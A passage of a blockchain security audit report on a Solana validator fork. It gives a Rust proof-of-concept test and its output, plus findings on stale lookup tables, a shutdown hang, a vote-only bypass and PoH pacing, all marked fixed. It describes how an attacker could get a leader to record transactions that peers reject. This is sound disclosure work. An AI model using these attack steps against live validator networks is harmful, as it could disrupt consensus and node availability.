solana_runtime::{bank::Bank, prioritization_fee_cache::Prioritizati
onFeeCache},
solana_sdk::{
poh_config::PohConfig,
pubkey::Pubkey,
signature::{Keypair, Signer},
system_transaction,
transaction::{SanitizedTransaction, TransactionError},
},
solana_streamer::socket::SocketAddrSpace,
std::{
sync::{atomic::Ordering, Arc},
thread::sleep,
time::{Duration, Instant},
},
};

#[test]
fn rpc_worker_drops_retryable_transfer_in_same_batch() {
solana_logger::setup_with("error");

let mut genesis = create_genesis_config(1_000_000_000_000);
// About 32 seconds rather than 32 ms: prevents a slot-boundary fai
lure
// from masking the account-lock failure under examination.
genesis.genesis_config.ticks_per_slot *= 1000;
let (bank, bank_forks) = Bank::new_no_wallclock_throttle_for_tests(
&genesis.genesis_config);
let alice = Keypair::new();
let bob = Pubkey::new_unique();
let carol = Pubkey::new_unique();
bank.transfer(1_000_000_000, &genesis.mint_keypair, &alice.pubkey()
)
.unwrap();

let blockhash = bank.last_blockhash();
let to_bob = system_transaction::transfer(&alice, &bob, 1_000, bloc
khash);
let to_carol = system_transaction::transfer(&alice, &carol, 1_000,
blockhash);
assert_ne!(to_bob.signatures[0], to_carol.signatures[0]);

// Check the exact batch-lock precondition without committing eithe
r tx.
// Dropping the probe batch releases its locks before the worker ru
ns.
let probe_transactions = [
SanitizedTransaction::from_transaction_for_tests(to_bob.clone()),
SanitizedTransaction::from_transaction_for_tests(to_carol.clone()),
];
let probe_batch = bank.prepare_sanitized_batch(&probe_transactions)
;
assert_eq!(probe_batch.lock_results()[0], Ok(()));
assert_eq!(
probe_batch.lock_results()[1],
Err(TransactionError::AccountInUse)
);
println!("LOCK_PROBE: Bob transfer=Ok; Carol transfer=AccountInUse"
);
drop(probe_batch);
```

```
let ledger_dir = tempfile::tempdir().unwrap();
let blockstore = Arc::new(Blockstore::open(ledger_dir.path()).unwra
p());
let poh_config = PohConfig {
target_tick_count: Some(bank.max_tick_height() - 1),
..PohConfig::default()
};
let (exit, poh_recorder, poh_service, _entry_receiver) =
create_test_recorder(bank.clone(), blockstore, Some(poh_config), No
ne);
assert!(poh_recorder.read().unwrap().bank_start().is_some());

let identity = Arc::new(Keypair::new());
let node = Node::new_localhost_with_pubkey(&identity.pubkey());
let cluster_info = Arc::new(ClusterInfo::new(
node.info,
identity,
SocketAddrSpace::Unspecified,
));
let tracer = BankingTracer::new_disabled();
let (_non_vote_sender, non_vote_receiver) = tracer.create_channel_n
on_vote();
let (_tpu_vote_sender, tpu_vote_receiver) = tracer.create_channel_t
pu_vote();
let (_gossip_vote_sender, gossip_vote_receiver) = tracer.create_cha
nnel_gossip_vote();
let (replay_vote_sender, _replay_vote_receiver) = unbounded();
let (rpc_sender, rpc_receiver) = unbounded();
let queue_observer = rpc_receiver.clone();

// Both signed transfers are already queued when the worker begins
its
// first intake cycle. They both write Alice's account, so one enco
unters
// AccountInUse. The consumer calls that result retryable.
rpc_sender
.send(SanitizedTransaction::from_transaction_for_tests(to_bob.clone
()))
.unwrap();
rpc_sender
.send(SanitizedTransaction::from_transaction_for_tests(to_carol.clo
ne()))
.unwrap();
assert_eq!(queue_observer.len(), 2);
println!("SUBMITTED: Alice -> Bob = 1000; Alice -> Carol = 1000; bo
th in one worker batch");

let banking_stage = BankingStage::new_thread_local_multi_iterator(
&cluster_info,
&poh_recorder,
non_vote_receiver,
tpu_vote_receiver,
gossip_vote_receiver,
4,
None,
replay_vote_sender,
None,
Arc::new(ConnectionCache::new("pf04_retryable_transfer")),
bank_forks,
&Arc::new(PrioritizationFeeCache::new(0)),
rpc_receiver,
);

let first_deadline = Instant::now() + Duration::from_secs(10);
while bank.get_signature_status(&to_bob.signatures[0]).is_none() ||
queue_observer.len() != 0 {
assert!(Instant::now() < first_deadline, "worker did not process th
e first batch");
sleep(Duration::from_millis(10));
}
// Wait beyond Agave's default two-second resend interval. This wor
ker has
// no resend path, so Carol's transfer should still be absent.
sleep(Duration::from_secs(3));

let bob_status = bank.get_signature_status(&to_bob.signatures[0]);
let carol_status_before_resubmit = bank.get_signature_status(&to_ca
rol.signatures[0]);
let bob_balance = bank.get_balance(&bob);
let carol_balance_before_resubmit = bank.get_balance(&carol);
```

```
println!(
"FIRST_ATTEMPT: Bob balance={bob_balance}, status={bob_status:?}; C
arol balance={carol_balance_before_resubmit}, status={carol_status_
before_resubmit:?}; queued={}",
queue_observer.len()
);
assert_eq!(bob_balance, 1_000);
assert_eq!(bob_status, Some(Ok(())));
assert_eq!(carol_balance_before_resubmit, 0);
assert_eq!(carol_status_before_resubmit, None);
assert_eq!(queue_observer.len(), 0);

// Resend the exact same transaction, now alone. It lands, proving
that it
// was valid and that the missing first attempt was due to retry ha
ndling.
rpc_sender
.send(SanitizedTransaction::from_transaction_for_tests(to_carol.clo
ne()))
.unwrap();
let resubmit_deadline = Instant::now() + Duration::from_secs(10);
while bank.get_signature_status(&to_carol.signatures[0]).is_none()
{
assert!(Instant::now() < resubmit_deadline, "resubmitted transfer d
id not land");
sleep(Duration::from_millis(10));
}
let carol_status_after_resubmit = bank.get_signature_status(&to_car
ol.signatures[0]);
let carol_balance_after_resubmit = bank.get_balance(&carol);
println!(
"RESUBMITTED_SAME_TRANSACTION: Carol balance={carol_balance_after_r
esubmit}, status={carol_status_after_resubmit:?}"
);
assert_eq!(carol_balance_after_resubmit, 1_000);
assert_eq!(carol_status_after_resubmit, Some(Ok(())));

// The fork worker does not observe an exit flag; dropping its Join
Handle
// detaches it so the test process can exit normally.
exit.store(true, Ordering::Relaxed);
drop(poh_service);
drop(banking_stage);
}
```

Results:

```
running 1 test
test rpc_worker_drops_retryable_transfer_in_same_batch ... LOCK_PRO
BE: Bob transfer=Ok; Carol transfer=AccountInUse
SUBMITTED: Alice -> Bob = 1000; Alice -> Carol = 1000; both in one
worker batch
FIRST_ATTEMPT: Bob balance=1000, status=Some(Ok(())); Carol balance
=0, status=None; queued=0
RESUBMITTED_SAME_TRANSACTION: Carol balance=1000, status=Some(Ok(()
))
ok

test result: ok. 1 passed; 0 failed; 0 ignored; 0 measured; 0 filte
red out; finished in 3.42s
```

F-2026-20593 - Direct RPC Path Lets Leaders Record Transactions with Unusable Lookup Tables - High

Description:

The fork's direct `sendTransaction` path resolves the lookup tables of a validly signed v0 transaction against the RPC's preflight bank and queues the resulting `SanitizedTransaction`. A dedicated BankingStage RPC worker later hands it to `Consumer` for processing in a local leader bank, without rechecking those tables. If a table is usable in the first bank but not the second, the leader can emit an entry that peers cannot replay. The direct path was introduced by commit `94b6f4174dae13c8c944082d11ec1c3e52b7ecb2`.

After deactivation, a table remains usable until its deactivation slot leaves the `SlotHashes` sysvar (sysvar declaration). With `skipPreflight=false` and no commitment specified, RPC uses a finalized preflight bank (default commitment) that can lag the leader bank, so the table may be usable during sanitization but unusable when the leader executes the transaction.

The RPC handler sanitizes against its preflight bank, then enqueues the already resolved transaction. Selected lines, with intervening checks omitted:

```
let transaction = sanitize_transaction(unsanitized_tx, preflight_bank)?;
// ...
if let Err(_) = meta.rpc_tx_sender.try_send(transaction) {
// do nothing
}
```

The dedicated worker passes that batch to `Consumer` using the leader bank:

```
consumer.process_packets_transactions(&bank_start.working_bank, &bank_start.bank_creation_time, &tx_buffer, &banking_stage_stats, &mutslot_metrics_tracker);
```

`Consumer` then reaches `process_and_record_transactions`, which checks the blockhash, status cache, and precompiles but does not reload lookup tables. For executed transactions, `Consumer` calls `TransactionRecorder`, which sends them to PoH. When a peer replays the entry recorded by the leader, it recreates the transaction against its own bank. If the lookup table is unavailable in that bank, block processing returns the lookup error, and ReplayStage marks the slot dead on that peer. This peer-side dead-slot outcome is inferred from the cited replay path; the PoC does not run a second validator.

This is fork-specific. In the Agave v1.18.21 baseline, RPC forwards serialized transaction bytes, and BankingStage sanitizes the packet against the working bank. For transactions sanitized earlier, the scheduler path rechecks lookup-table availability before execution. These paths avoid the demonstrated stale-preflight-bank divergence.

An attacker can create and deactivate a table, then submit a validly signed transaction near the cooldown boundary. It must reach the RPC of a node that produces a block while the blockhash remains valid; an unstaked RPC node cannot execute it through this worker. Queueing until a later leader slot can also create the bank mismatch, provided the blockhash remains valid. The same failure can occur without an attacker if a table authority deactivates a table that clients continue to use.

The PoC observes a PoH entry containing a transaction that a fresh lookup in the leader bank rejects. The following peer-side escalation is inferred from ReplayStage, not observed by this PoC: if the producer votes for that slot with more than 52% of stake (strict comparison) and the vote propagates, the peer can process the duplicate confirmation and schedule repair of its dead slot; after more than ten failed attempts, the replay guard panics, and the production panic hook exits the process.

Assets:

- core/src/banking_stage.rs [https://github.com/Yona-Labs/giga-svm]
- rpc/src/rpc.rs [https://github.com/Yona-Labs/giga-svm]

Status: Fixed

Classification

Impact Rate: 4/5

Likelihood Rate: 3/5

Severity: High

Recommendations

Remediation:

- Apply a fresh lookup-table availability check against the working bank before direct RPC transactions execute, and drop those whose tables are no longer usable. The existing `process_and_record_aged_transactions` method has such a check that can be reused for this deactivation case.
- Alternatively, pass the versioned transaction to the worker and sanitize it against the working bank when it is processed, as the TPU path does.
- Adapt the PoC below into a regression test that expects the transfer to be rejected and absent from recorded entries.

Resolution: Fix commit `23cedf8322c305a969518be2949c0f9a941506be`

Evidences

rpc_stale_lookup_table_recorded.rs

Reproduce:

The test uses the real lookup-table program to create, extend, and deactivate Alice's table at slot 1. It reduces the `SlotHashes` limit from 512 to 2 with Agave's test helper. At slot 3, the test prepares Alice's signed v0 transfer with the same `SanitizedTransaction::try_create` call used by RPC, resolving Bob from the table. A fresh check in the slot-4 leader bank returns `AddressLookupTableNotFound`. The fork's BankingStage RPC worker passes it to `Consumer` for processing in the leader bank; the test observes successful execution, receives a PoH entry containing the signed transfer, and gets the same lookup error from the replay transaction verifier.

The test sends the prepared transaction directly to the worker channel. It does not exercise HTTP RPC bank selection or run a second validator. Slot 3 and slot 4 are controlled test states, not a measured production timing window. The complete PoC source is attached as `rpc_stale_lookup_table_recorded.rs`. Place it at `core/tests/rpc_stale_lookup_table_recorded.rs` in the repository and run:

```
COPYFILE_DISABLE=1 cargo test --locked -p solana-core --test rpc_st
ale_lookup_table_recorded -- --nocapture --test-threads=1
```

Results:

```
running 1 test
test rpc_worker_records_transaction_with_stale_lookup_table ...
1. Slot 1: table-program create, add Bob, and deactivate succeeded
(deactivation_slot=1).
2. Slot 3: our PoC code calls the same transaction-preparation func
tion as RPC (table[0] resolves to Bob).
3. Slot 4: our PoC code checks the transfer against the leader's ne
wer state: Err(AddressLookupTableNotFound).
4. Slot 4: the fork's leader worker executes it anyway (status=Some
(Ok(()))); Bob balance=1000).
5. Leader output contains the original signed transfer (recorded=tr
ue).
6. Our PoC code calls the transaction verifier used during replay:
Err(AddressLookupTableNotFound).
RESULT: the fork's worker recorded a transfer that replay verificat
ion rejects.
ok

test result: ok. 1 passed; 0 failed; 0 ignored; 0 measured; 0 filte
red out; finished in 0.43s
```

Files:

rpc_stale_lookup_table_recorded.rs

F-2026-20635 - RPC Worker Prevents Graceful Validator Shutdown - Low

Description:

The fork adds a BankingStage thread, `processRpcTransactions`, that executes the transactions received by `sendTransaction` (commit `94b6f4174dae13c8c944082d11ec1c3e52b7ecb2`). The thread runs an endless loop and never checks whether the validator is stopping. When the RPC channel closes, its `break` only leaves the inner receive loop, and the outer loop starts again:

```
loop {
loop {
match receiver.try_recv() {
// ...
Err(TryRecvError::Disconnected) => break,
// ...
};
}
// waits for a leader bank, processes the batch, and starts over
}
```

When the validator shuts down, `BankingStage::join` waits for this thread, so the shutdown never finishes on its own. In Agave, each BankingStage thread leaves its loop when its channel closes.

As a result:

- `agave-validator exit` only ends through Agave's five-second fallback, which kills the process with `std::process::exit(0)` and skips the remaining shutdown steps.
- `TestValidator` and `LocalCluster` never finish stopping a validator, so tests that stop one hang.
- On a node without RPC, an internal fatal error such as a snapshot archiving failure sets the validator's exit flag, but shutdown stalls while `BankingStage::join` waits for the RPC worker.

Assets:

- core/src/banking_stage.rs [https://github.com/Yona-Labs/giga-svm]

Status: Fixed

Classification

Impact Rate: 1/5

Likelihood Rate: 4/5

Severity: Low

Recommendations

Remediation:

- Leave the outer loop when the channel closes or when the validator's exit flag is set, including while waiting for a leader bank.
- Add a test that stops a one-node `LocalCluster` and checks that it returns.

Resolution: Fix commit `3ddddd5d3053501b5c7be58216c929aa52d1179c`

F-2026-20650 - RPC Worker Bypasses Vote-Only Mode - Low

Description:

When a validator's local root is more than 400 slots behind the slot it is about to produce as leader, Agave creates the leader bank in vote-only mode, and the leader stops accepting non-vote transactions from the TPU. This is intended to reduce block load and help the node's root catch up. ReplayStage sets the flag when it creates the leader bank:

```
let root_distance = poh_slot - root_slot;
let vote_only_bank = if root_distance > MAX_ROOT_DISTANCE_FOR_VOTE_
ONLY {
datapoint_info!("vote-only-bank", ("slot", poh_slot, i64));
true
} else {
false
};
```

In the default scheduler, BankingStage enforces it when it turns each packet into a transaction and passes the bank's flag to `build_sanitized_transaction`, which drops every non-vote transaction. The optional central scheduler applies the same check when it buffers packets.

```
if votes_only && !self.is_simple_vote() {
return None;
}
```

The RPC worker added by commit `94b6f4174dae13c8c944082d11ec1c3e52b7ecb2` never goes through this function. RPC sanitizes the transaction itself and attempts to enqueue it for the worker, which passes it to the `Consumer` with the leader bank without checking `vote_only_bank()`:

```
let bank_start = loop {
if let Some(bank_start) = DecisionMaker::bank_start(&decision_maker
.poh_recorder.read().unwrap()) {
break bank_start;
}

thread::sleep(Duration::from_nanos(10));
};
let before_process = Instant::now();
consumer.process_packets_transactions(&bank_start.working_bank, &ba
nk_start.bank_creation_time, &tx_buffer, &banking_stage_stats, &mut
slot_metrics_tracker);
```

As a result, valid non-vote transactions submitted with `sendTransaction` can be executed and recorded in a PoH entry while the leader bank is in vote-only mode. Replay does not reject a block because it contains non-vote transactions in this mode: peers replay the block in a bank created without the vote-only flag and verify its transactions without that check, so the bypass is not a validity issue. It removes a liveness safeguard for RPC traffic: while the node's root lags, these transactions keep using the leader's time and the block's compute, and peers that replay the block also process them. Vote-only mode requires a gap of more than 400 slots,

about 12.8 s at the nominal 32 ms slot time and 160 s at Agave's nominal 400 ms. The effect on vote inclusion and recovery was not measured.

Assets:

- core/src/banking_stage.rs [https://github.com/Yona-Labs/giga-svm]

Status: Fixed

Classification

Impact Rate: 2/5

Likelihood Rate: 2/5

Severity: Low

Recommendations

Remediation: Before passing a batch to the `Consumer`, skip the non-vote transactions when `bank_start.working_bank.vote_only_bank()` is true, as BankingStage does for TPU packets.

Resolution: Fix commit `23cedf8322c305a969518be2949c0f9a941506be`

Observation Details

F-2026-20669 - Fork Changes Add No Tests and Break Existing Unit Tests - Info

Description:

The fork adds a direct RPC-to-BankingStage transaction path and changes the slot clock. These changes should have tests that check their behavior. Comparing the six fork commits with Agave shows no new test file or `#[test]` case, and no updates to existing test bodies.

The inherited test modules remain, but `cargo check --locked --workspace --tests --keep-going` fails on the audited commit in three relevant crates:

- `solana-core`: tests use the old BankingStage constructor and refer to the removed `MS_PER_TICK`.
- `solana-rpc`: tests use the old RPC constructor signatures. The test helper `new_from_bank` calls `unimplemented!()`; five inherited RPC tests call it and would panic even after the constructor errors are fixed.
- `solana-program`: clock assertions still expect the old constants.

The `solana-core`, `solana-rpc`, and `solana-program` library test targets pass a compile check on the Agave baseline and fail on the fork. One inherited snapshot unit test does compile but fails after the fork's limit change.

The inherited `test_rpc_send_transaction_preflight` is a concrete missed check: its constructor call has 17 arguments instead of 18, so it cannot compile. Later, it submits a transaction without signatures and expects an RPC error. If made runnable and it reached that case, the fork's early signature access would panic instead (F-2026-20580).

An inherited integration test checks the successful status of a valid RPC transfer. It creates a `TestValidator`; at the end of the test, dropping it calls `Validator::close`, which stalls on the fork's RPC worker (F-2026-20635). Thus, this test cannot complete normally on the audited commit. This follows from the shutdown code; this exact integration test was not run.

The default coverage script compiles the failing library tests first, so it cannot produce a coverage report for this commit. This does not imply zero coverage or establish whether separate developer tests were run.

Assets:

- Testing & Quality Assurance [https://github.com/Yona-Labs/giga-svm]

Status: Fixed

Recommendations

Remediation: Repair and run the inherited unit tests, including their constructors, RPC helper, and clock assertions. Fix the shutdown hang in F-2026-20635 so the existing integration test can finish, then add tests for the fork's new RPC and BankingStage behavior.

Resolution: Fix commit `23cedf8322c305a969518be2949c0f9a941506be`

F-2026-20670 - PoH Can Advance Faster Than the 32 ms Slot Target - Info

Description:

The fork changes the clock to 2,000 ticks per second and 64 ticks per slot: a nominal 500 µs tick and 32 ms slot. The genesis configuration determines which PoH mode validators use. In `sleep` mode, which Agave intends for development, ticks prove nothing about elapsed time. In hashed mode, the fork's tick rate removes the wait that keeps ticks from running faster than planned.

- **`sleep`:** The genesis tool describes this mode as intended for development, and the fork switched the bundled demo script `multinode-demo/setup.sh` from `auto` to `sleep`. It sets `hashes_per_tick` to `None`; the low-power producer then paces its ticks with a 500 µs timer. During replay, the absent count becomes zero, which skips the tick hash-count check. A leader running modified software could therefore produce its blocks early, and the tick hash-count check would not detect the early ticks. This behavior is inherited from Agave and matters only if the live genesis uses `sleep`. Because the client's validators will be permissioned, exploiting this would require an approved validator to run modified software, which lowers the risk without removing it.
- **Hashed PoH (`auto` or an explicit hash count):** The genesis tool defaults to `auto` and `mainnet-beta`, which select `DEFAULT_HASHES_PER_TICK`. In the fork, that is 1,000 hashes per tick, sized for hardware that computes 2 million hashes per second. Replay verifies the count, but the fork retains Agave's 50 ms per-slot adjustment. With a 500 µs tick, `target_ns_per_tick` saturates to zero, so the hashed producer never waits and ticks as fast as it hashes. Agave's own sampling found that 96.2% of mainnet stake could exceed 10 million hashes per second in July 2023. At that rate, 1,000 hashes take about 100 µs: a 64-tick slot needs about 6.4 ms of hashing, and nothing makes it wait for the rest of its nominal 32 ms. This figure is calculated from these constants; the actual slot duration has not been measured on a release build.

The client stated that the live genesis will not use `multinode-demo/setup.sh` and that validators will be permissioned. The live genesis PoH mode and tick parameters have not been provided. No PoC or release benchmark was performed for this observation. It describes code behavior and configuration-dependent risks, not an observed timing failure on the live network.

Assets:

- multinode-demo/setup.sh [https://github.com/Yona-Labs/giga-svm]
- sdk/program/src/clock.rs [https://github.com/Yona-Labs/giga-svm]

Status: Fixed

Recommendations

Remediation: Confirm the live genesis `hashes_per_tick`, `target_tick_duration`, and `ticks_per_slot`. Test and benchmark both `sleep` and hashed PoH with release builds on the intended validator hardware and network topology. Measure actual tick and slot durations on the slowest and fastest validators, block production across leader changes, and replay behavior to determine which mode and consequences apply to the live configuration. For hashed PoH, scale the 50 ms adjustment with the slot duration so that the pacing target stays above zero and faster validators running this code wait for it; replay checks the hash count but not this wait. Choose `hashes_per_tick` from the measured hash rate of the slowest validator, with a margin, so that it can keep up, instead of relying on the 2 million hashes per second default. If `sleep` is selected, document that replay does not enforce elapsed time through tick hash counts and assess that choice against the validator trust model.

Resolution: Fix commit `23cedf8322c305a969518be2949c0f9a941506be`

Disclaimers

Hacken Disclaimer

The blockchain protocol given for audit has been analyzed based on best industry practices at the time of the writing of this report, with cybersecurity vulnerabilities and issues in the protocol source code, the details of which are disclosed in this report (Source Code); the Source Code compilation, deployment, and functionality (performing the intended functions).

The report contains no statements or warranties on the identification of all vulnerabilities and security of the code. The report covers the code submitted and reviewed, so it may not be relevant after any modifications. Do not consider this report as a final and sufficient assessment regarding the utility and safety of the code, bug-free status, or any other protocol statements.

While we have done our best in conducting the analysis and producing this report, it is important to note that you should not rely on this report only — we recommend proceeding with several independent audits and a public bug bounty program to ensure the security of the blockchain protocol.

English is the original language of the report. The Consultant is not responsible for the correctness of the translated versions.

As part of Hacken's ongoing quality assurance process, we may conduct re-audits of select projects. These re-audits are performed independently from the original audit and are intended solely for internal quality control and improvement. Updated reports resulting from such re-audits will be shared privately with the respective clients and may be published on the Hacken website only with their explicit consent.
The sole authoritative source for finalized and most up-to-date versions of all reports remains the Audits section at https://hacken.io/audits/.

Technical Disclaimer

Blockchain protocols are deployed and executed on a blockchain platform. The platform, its programming language, and other software related to the protocol can have vulnerabilities that can lead to hacks. Thus, the Consultant cannot guarantee the explicit security of the audited blockchain protocol.

Appendix 1. Severity Definitions

Severity	Description
Critical	Vulnerabilities that can lead to a complete breakdown of the blockchain network's security, privacy, integrity, or availability fall under this category. They can disrupt the consensus mechanism, enabling a malicious entity to take control of the majority of nodes or facilitate 51% attacks. In addition, issues that could lead to widespread crashing of nodes, leading to a complete breakdown or significant halt of the network, are also considered critical along with issues that can lead to a massive theft of assets. Immediate attention and mitigation are required.
High	High severity vulnerabilities are those that do not immediately risk the complete security or integrity of the network but can cause substantial harm. These are issues that could cause the crashing of several nodes, leading to temporary disruption of the network, or could manipulate the consensus mechanism to a certain extent, but not enough to execute a 51% attack. Partial breaches of privacy, unauthorized but limited access to sensitive information, and affecting the reliable execution of smart contracts also fall under this category.
Medium	Medium severity vulnerabilities could negatively affect the blockchain protocol but are usually not capable of causing catastrophic damage. These could include vulnerabilities that allow minor breaches of user privacy, can slow down transaction processing, or can lead to relatively small financial losses. It may be possible to exploit these vulnerabilities under specific circumstances, or they may require a high level of access to exploit effectively.
Low	Low severity vulnerabilities are minor flaws in the blockchain protocol that might not have a direct impact on security but could cause minor inefficiencies in transaction processing or slight delays in block propagation. They might include vulnerabilities that allow attackers to cause nuisance-level disruptions or are only exploitable under extremely rare and specific conditions. These vulnerabilities should be corrected but do not represent an immediate threat to the system.

Appendix 2. Scope

The scope of the project includes the following components from the provided repository:

Scope Details	
Repository	https://github.com/Yona-Labs/giga-svm
Commit	bf6eec5134af396445f959458b3e2182ae5df258
Whitepaper	https://bitcoinhyper.com/assets/documents/whitepaper.pdf
Requirements	
Technical Requirements	

Components in Scope

1. RPC transaction submission: transactions handed straight to local block production, signature validation (preflight on vs. block-production path), success returned while the transaction is still queued, per-transaction latency metrics
2. Block production: batching on the new intake, inclusion only while producing, queue growth, arrival order, bypass of fee ordering, shared commit/recording pipeline
3. Network clock: 2,000 ticks/s, 32 ms slot, epoch length, blockhash window, 200 ms repair deferral
4. Genesis configuration: wrapped-SOL mint (authorities, supply, 1 SOL balance), single upgrade authority over 17 genesis programs, sleep-mode Proof of History in the cluster bootstrap
5. Snapshots: 4,000-entry history limit vs. the 3,750-entry live window
6. Supporting changes: balance-collection preallocation, local reset scripts

Source Code in Scope:

- core/src/banking_stage.rs
- core/src/banking_stage/consumer.rs
- core/src/banking_stage/decision_maker.rs
- core/src/banking_stage/leader_slot_metrics.rs
- core/src/repair/repair_service.rs
- core/src/tpu.rs
- core/src/validator.rs
- genesis/src/main.rs
- ledger/src/token_balances.rs
- multinode-demo/setup.sh
- programs-genesis.sh
- reset_and_restart_metrics.sh
- reset_validator.sh
- rpc/src/rpc.rs
- rpc/src/rpc_service.rs
- runtime/src/bank.rs
- runtime/src/snapshot_bank_utils.rs
- sdk/program/src/clock.rs

Appendix 3. Additional Valuables

Frameworks and Methodologies

This security assessment was conducted in alignment with recognised penetration testing standards, methodologies and guidelines, including the NIST SP 800-115 – Technical Guide to Information Security Testing and Assessment, and the Penetration Testing Execution Standard (PTES), These assets provide a structured foundation for planning, executing, and documenting technical evaluations such as vulnerability assessments, exploitation activities, and security code reviews. Hacken's internal penetration testing methodology extends these principles to Web2 and Web3 environments to ensure consistency, repeatability, and verifiable outcomes.